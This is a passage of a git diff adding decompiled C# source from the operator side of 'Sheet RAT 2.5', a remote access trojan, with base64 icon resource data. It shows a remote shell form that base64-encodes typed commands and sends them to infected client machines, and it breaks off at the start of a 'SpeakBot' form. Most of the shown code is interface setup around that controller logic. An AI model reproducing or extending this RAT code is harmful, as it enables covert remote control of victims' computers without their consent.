FEVRFEVRFEVRFEVRFEVRFEVRFEVRFEVRFEU5Dvl/PSohQL/daqEAAAAASUVORK5CYIIL + + \ No newline at end of file diff --git a/Server/Server/Forms/FormShell.cs b/Server/Server/Forms/FormShell.cs new file mode 100644 index 0000000..66e6229 --- /dev/null +++ b/Server/Server/Forms/FormShell.cs @@ -0,0 +1,148 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormShell +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Connection; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Text; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormShell : MetroForm +{ + public Clients ParrentClient; + public Clients PluginClient; + private IContainer components; + private MetroTextBox metroTextBox2; + public Timer timer1; + public RichTextBox metroTextBox1; + + public FormShell() => this.InitializeComponent(); + + private void FormShell_Load(object sender, EventArgs e) + { + this.metroTextBox2.KeyDown += new KeyEventHandler(this._KeyClick); + this.metroTextBox2.KeyUp += new KeyEventHandler(this._KeyClick); + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.metroTextBox2.Theme = Customs.customs.Theme; + this.metroTextBox1.BackColor = Customs.customs.ThemeToColor(); + } + if (Customs.customs.Style != MetroColorStyle.Lime) + { + this.Style = Customs.customs.Style; + this.metroTextBox2.Style = Customs.customs.Style; + this.metroTextBox1.ForeColor = Customs.customs.StyleToColor(); + } + this.Refresh(); + this.FormClosing += (FormClosingEventHandler) ((t, p) => + { + if (this.PluginClient == null) + return; + this.PluginClient.Disconnected(); + }); + } + + private void _KeyClick(object sender, KeyEventArgs e) + { + if (e.KeyCode != Keys.Return || string.IsNullOrEmpty(this.metroTextBox2.Text)) + return; + if (this.metroTextBox2.Text.ToLower() != "cls") + this.PluginClient.Send((object) ("Shell<@>" + Convert.ToBase64String(Encoding.UTF8.GetBytes(this.metroTextBox2.Text)))); + else + this.metroTextBox1.Text = ""; + this.metroTextBox2.Text = ""; + } + + private void timer1_Tick(object sender, EventArgs e) + { + if (this.ParrentClient.Connect && this.PluginClient.Connect) + return; + this.Close(); + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormShell)); + this.metroTextBox2 = new MetroTextBox(); + this.timer1 = new Timer(this.components); + this.metroTextBox1 = new RichTextBox(); + this.SuspendLayout(); + this.metroTextBox2.Anchor = AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right; + this.metroTextBox2.CustomButton.Image = (Image) null; + this.metroTextBox2.CustomButton.Location = new Point(798, 1); + this.metroTextBox2.CustomButton.Name = ""; + this.metroTextBox2.CustomButton.Size = new Size(23, 23); + this.metroTextBox2.CustomButton.Style = MetroColorStyle.Blue; + this.metroTextBox2.CustomButton.TabIndex = 1; + this.metroTextBox2.CustomButton.Theme = MetroThemeStyle.Light; + this.metroTextBox2.CustomButton.UseSelectable = true; + this.metroTextBox2.CustomButton.Visible = false; + this.metroTextBox2.Lines = new string[0]; + this.metroTextBox2.Location = new Point(12, 445); + this.metroTextBox2.MaxLength = (int) short.MaxValue; + this.metroTextBox2.Name = "metroTextBox2"; + this.metroTextBox2.PasswordChar = char.MinValue; + this.metroTextBox2.ScrollBars = ScrollBars.None; + this.metroTextBox2.SelectedText = ""; + this.metroTextBox2.SelectionLength = 0; + this.metroTextBox2.SelectionStart = 0; + this.metroTextBox2.ShortcutsEnabled = true; + this.metroTextBox2.Size = new Size(822, 25); + this.metroTextBox2.Style = MetroColorStyle.Lime; + this.metroTextBox2.TabIndex = 1; + this.metroTextBox2.Theme = MetroThemeStyle.Dark; + this.metroTextBox2.UseSelectable = true; + this.metroTextBox2.UseStyleColors = true; + this.metroTextBox2.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.metroTextBox2.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.timer1.Interval = 1000; + this.timer1.Tick += new EventHandler(this.timer1_Tick); + this.metroTextBox1.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right; + this.metroTextBox1.BackColor = Color.FromArgb(17, 17, 17); + this.metroTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.metroTextBox1.Font = new Font("Arial", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + this.metroTextBox1.ForeColor = Color.FromArgb(224 /*0xE0*/, 224 /*0xE0*/, 224 /*0xE0*/); + this.metroTextBox1.Location = new Point(12, 63 /*0x3F*/); + this.metroTextBox1.Name = "metroTextBox1"; + this.metroTextBox1.ReadOnly = true; + this.metroTextBox1.ScrollBars = RichTextBoxScrollBars.Vertical; + this.metroTextBox1.Size = new Size(822, 371); + this.metroTextBox1.TabIndex = 2; + this.metroTextBox1.Text = ""; + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(848, 493); + this.Controls.Add((Control) this.metroTextBox1); + this.Controls.Add((Control) this.metroTextBox2); + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = nameof (FormShell); + this.Style = MetroColorStyle.Lime; + this.Text = "Shell"; + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FormShell_Load); + this.ResumeLayout(false); + } +} +} diff --git a/Server/Server/Forms/FormShell.resx b/Server/Server/Forms/FormShell.resx new file mode 100644 index 0000000..a567bcf --- /dev/null +++ b/Server/Server/Forms/FormShell.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 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 + + \ No newline at end of file diff --git a/Server/Server/Forms/FormSpeakBot.cs b/Server/Server/Forms/FormSpeakBot.cs new file mode 100644 index 0000000..9ef518c --- /dev/null +++ b/Server/Server/Forms/FormSpeakBot.cs @@ -0,0 +1,259 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormSpeakBot +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Connection; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Text; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormSpeakBot : MetroForm +{ + public Clients client; + public Clients ParentClient; + private IContainer components; + public Timer timer1; + private MetroButton metroButton1; + public MetroTextBox textBox1; + private MetroTrackBar 